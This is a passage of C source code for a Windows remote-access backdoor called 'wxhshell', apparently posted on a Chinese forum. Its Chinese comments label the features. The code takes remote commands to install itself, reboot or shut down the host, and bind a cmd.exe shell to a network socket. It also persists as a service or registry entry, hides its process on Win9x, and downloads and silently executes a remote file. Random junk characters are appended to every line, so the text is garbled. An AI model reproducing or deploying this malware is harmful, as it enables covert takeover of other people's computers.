  } ZZkxEq+D  
  else { bv.DW,l%'  
Q?f%]uGFQ  
    switch(cmd[0]) { }(g`l)OX  
  1g_(xwUp+  
  // 帮助 6sRe. ct<  
  case '?': { U>q&p}z0 H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o/EN3J  
    break; GM.2bA(y  
  } h8b*=oq  
  // 安装 s6#@S4^=\  
  case 'i': { ZS&n,<a5L}  
    if(Install()) -=W"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dXkgWLI~  
    else "4VC:"$f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'bH',X8gF  
    break;  0p8Z l  
    } ;2o+|U@  
  // 卸载 pK)*{fC$`  
  case 'r': { p^2"g~  
    if(Uninstall()) i\P?Y(-{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - nWs@\  
    else :NB,Dz+i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }E01B_T9z  
    break; XA cpLj]  
    } ep"YGx  
  // 显示 wxhshell 所在路径 64Ot`=A"  
  case 'p': { lpW|GFG  
    char svExeFile[MAX_PATH]; h)%}O.ueB  
    strcpy(svExeFile,"\n\r"); Wvhg:vup  
      strcat(svExeFile,ExeFile); }uI(D&?+h  
        send(wsh,svExeFile,strlen(svExeFile),0); A),nkw0X  
    break; so* lV  
    } GZL{~7n  
  // 重启 J`6X6YZ  
  case 'b': { ~~U2Sr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?e? mg  
    if(Boot(REBOOT)) Hx}K w S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -qki^!Y?  
    else { |E\0Rv{H3  
    closesocket(wsh); aZ$$a+  
    ExitThread(0); 3pxm0|  
    } sZ,MNF8i  
    break; _n.2'  
    } LPjsR=xi  
  // 关机 DVu_KT[Hd  
  case 'd': { =F!DwaZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VS$ZR'OP0  
    if(Boot(SHUTDOWN)) ^y.e Fz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6E9y[ %+  
    else { )P6n,\  
    closesocket(wsh); NLe+  
    ExitThread(0);  `O-LM e  
    } fV-vy]x..  
    break; Jjb(lW  
    } 9aLS%-x!+  
  // 获取shell &G5=?ub  
  case 's': {  N-x~\B!  
    CmdShell(wsh); {VWUK`3  
    closesocket(wsh); )I80Nq  
    ExitThread(0); B,sv! p+q5  
    break; 5xZ*U  
  } ^ <Z^3c>/  
  // 退出 FzOr#(^  
  case 'x': { cD-.thHO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A>"v1Wk  
    CloseIt(wsh); njk.$]M|nf  
    break; zE{@'  
    } ;T0Y= yC  
  // 离开 P# o/S4  
  case 'q': { !Jo3>!,j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dzY B0vut@  
    closesocket(wsh); 39;Z+s";  
    WSACleanup(); =*q|568  
    exit(1); lVywc:X  
    break; 4\HB rd#P  
        } I0 y+,~\  
  } =<-tD<  
  } 55vpnRM  
'1)BZ!  
  // 提示信息 @`:n+r5u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (wmMHo|  
} X\SZ Q[gN  
  } !GkwbHr+p  
xCH,d:n=  
  return; L[zg2y  
} eSZS`(#!(  
B;'Dh<J1  
// shell模块句柄 *|n::9  
int CmdShell(SOCKET sock) { 7y.0_Y  
{ P5;LM9W  
STARTUPINFO si; W11Wv&  
ZeroMemory(&si,sizeof(si)); sIuk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TlEx w0i!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^'S0A=1  
PROCESS_INFORMATION ProcessInfo; Lm<"W_  
char cmdline[]="cmd"; ||y5XXs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9X8{"J  
  return 0; <uP>  
} pv2_A   
. xT8@]  
// 自身启动模式 s)$N&0\  
int StartFromService(void) -Iz&/u*}f  
{ EAQg4N:D7L  
typedef struct nG;wQvc  
{ LOyL:~$  
  DWORD ExitStatus; xq:.|{HUk  
  DWORD PebBaseAddress; <dx xXzLT  
  DWORD AffinityMask; _//)|.6c3  
  DWORD BasePriority; bWv4'Y!p  
  ULONG UniqueProcessId; ?2VY ^7N[  
  ULONG InheritedFromUniqueProcessId; i^9PiP|U  
}   PROCESS_BASIC_INFORMATION; v}hmI']yf  
Dm/# \y3  
PROCNTQSIP NtQueryInformationProcess; eqcV70E8cK  
%dTkw+J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 66<3zadJZU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SCk2D!u  
~U&,hFSPY  
  HANDLE             hProcess; &6A'}9Ch  
  PROCESS_BASIC_INFORMATION pbi; yH>`Kbf T  
#LlHsY530N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >:M3!6H_~{  
  if(NULL == hInst ) return 0; R}F0_.  
!RLg[_'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y@[}FgVOh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \^iPU 27H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &?^S`V8R*  
E 3b`GRay  
  if (!NtQueryInformationProcess) return 0; Y) Y`9u<?  
!oeu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4 vwa/?  
  if(!hProcess) return 0; >{i/LC^S  
xwa5dtcng  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )/H=m7}1h  
mLU4RQ}5  
  CloseHandle(hProcess); @cPb*  
f3e#.jan  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ((A]FOIbO  
if(hProcess==NULL) return 0; 8YC\Bw  
>ir'v5  
HMODULE hMod; M:|Z3p K  
char procName[255]; *6~ODiB  
unsigned long cbNeeded; OaU-4 ~n;  
m xtLcG4G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z%~j)  
LRBcW;.Su  
  CloseHandle(hProcess); 7QP%Pny%  
x[7jm"Pz  
if(strstr(procName,"services")) return 1; // 以服务启动 8DbXv~3@  
edhNQWn  
  return 0; // 注册表启动 `e]L.P_e?  
} v4!zB9d  
g\&[;v i  
// 主模块 m "\jEfjO  
int StartWxhshell(LPSTR lpCmdLine) > 4ex:Z  
{ b7g\wnV8z  
  SOCKET wsl; yfeX=h  
BOOL val=TRUE; )n 1b  
  int port=0;  6\ /x  
  struct sockaddr_in door; @cdd~9w  
%3scz)4$  
  if(wscfg.ws_autoins) Install(); naCPSsei  
KE:PRX  
port=atoi(lpCmdLine); T1hr5V<U  
~U`oew  
if(port<=0) port=wscfg.ws_port; B" TZ8(<  
5Z}]d@  
  WSADATA data; SCE5|3j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {.$5:<8aC  
,wE]:|`qJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8<M'~G%CEq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d_=@1 JM>  
  door.sin_family = AF_INET; 8RWfv}:X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gwxx W   
  door.sin_port = htons(port); |cStN[97%  
}$3eRu +  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K^`3Bg  
closesocket(wsl); j?%^N\9  
return 1; '/U[ ui0{  
} ~n%~ Z|mMF  
xaSvjc\  
  if(listen(wsl,2) == INVALID_SOCKET) { 5bM/ v  
closesocket(wsl); Zpg/T K  
return 1; -_Pd d[M  
} Qk<W(  
  Wxhshell(wsl); 3}=r.\]U  
  WSACleanup(); L^} Z:I  
0F-X.Dq  
return 0; 1C\OL!@L  
D_ xPa  
} !TY9\8JzV  
G\G TS}u[  
// 以NT服务方式启动 >k,|N4(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J]/TxUE  
{ %`%oupqm+  
DWORD   status = 0; !"/]<OQ   
  DWORD   specificError = 0xfffffff; 3^ ~M7=k  
K[0.4+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5G=<2;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mZ 39 s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dt(~)*~R  
  serviceStatus.dwWin32ExitCode     = 0; ;]zV ?9  
  serviceStatus.dwServiceSpecificExitCode = 0; K,e"@G  
  serviceStatus.dwCheckPoint       = 0; 0UZ>y/ C)=  
  serviceStatus.dwWaitHint       = 0; fyPpzA0  
^I03PIy0l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Z]~c^UB  
  if (hServiceStatusHandle==0) return; o&P}GcEIw  
$&/JY  
status = GetLastError(); n/#zx:d?  
  if (status!=NO_ERROR) 3ny>5A!;2  
{ }S51yDVG_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tFt56/4  
    serviceStatus.dwCheckPoint       = 0; zY~  
    serviceStatus.dwWaitHint       = 0; jY%&G#4  
    serviceStatus.dwWin32ExitCode     = status; 6nh!g  
    serviceStatus.dwServiceSpecificExitCode = specificError; |niYN7 17  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B*7Y5_N  
    return; xgHR;US H  
  } "MHm9D?5  
Y $hYW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A^:[+PJHN  
  serviceStatus.dwCheckPoint       = 0; E^w2IIw  
  serviceStatus.dwWaitHint       = 0; *,<A[XP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vdw5T&Q{{C  
} z<aBGG  
tJ[yx_mf  
// 处理NT服务事件,比如:启动、停止 YXI_ '  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aTS\NpK&  
{ XWN ra  
switch(fdwControl) <WFA3  
{ G n"]<8yl~  
case SERVICE_CONTROL_STOP: |N_tVE  
  serviceStatus.dwWin32ExitCode = 0; m3W:\LTTp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ST$~l7p  
  serviceStatus.dwCheckPoint   = 0; g^|}e?  
  serviceStatus.dwWaitHint     = 0; !.1oW(  
  { ^Pl(V@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oxs O  
  } }a?PB o`  
  return; D\|$ ! i}  
case SERVICE_CONTROL_PAUSE:  m=D2|WA8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yO*~)ALb+  
  break; NRu _6~^^  
case SERVICE_CONTROL_CONTINUE: i ,Cvnp6Lv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eKjmU| H  
  break; .j?`U[V%a  
case SERVICE_CONTROL_INTERROGATE: ws8@y r<R  
  break; abiZ"?(  
}; j8n_:;i*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;6S,|rC ]  
} XN9s!5A<L)  
Y~\71QE>  
// 标准应用程序主函数 su;u_rc,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R<. <wQ4I  
{ 2%|  
 m(CW3:|  
// 获取操作系统版本 j1{|3#5V  
OsIsNt=GetOsVer(); d 90  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3FRz&FS:j  
ro|mW P0  
  // 从命令行安装 },58B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0K/Pth"*  
S_; 5mb+b  
  // 下载执行文件 Fp'qn'){:#  
if(wscfg.ws_downexe) { ^X-3YhJ4U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <xpOi&l  
  WinExec(wscfg.ws_filenam,SW_HIDE); R_9&V!fl  
} S(NH# ^  
t8X$M;$  
if(!OsIsNt) { u=_"* :}  
// 如果时win9x,隐藏进程并且设置为注册表启动 qLrvKoEX2  
HideProc(); &"H xAK)f  
StartWxhshell(lpCmdLine); O/g|E47  
} p3tu_If  
else hOYm =r  
  if(StartFromService()) 9R_2>BDn  
  // 以服务方式启动 9/A$ 3#wF  
  StartServiceCtrlDispatcher(DispatchTable); od~^''/b  
else (Z:(f~;  
  // 普通方式启动 1Q_  C  
  StartWxhshell(lpCmdLine); ?88k`T'EI  
+;z^qn  
return 0; W P7RX|7  
}
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只看该作者 1 发表于: 2006-10-10
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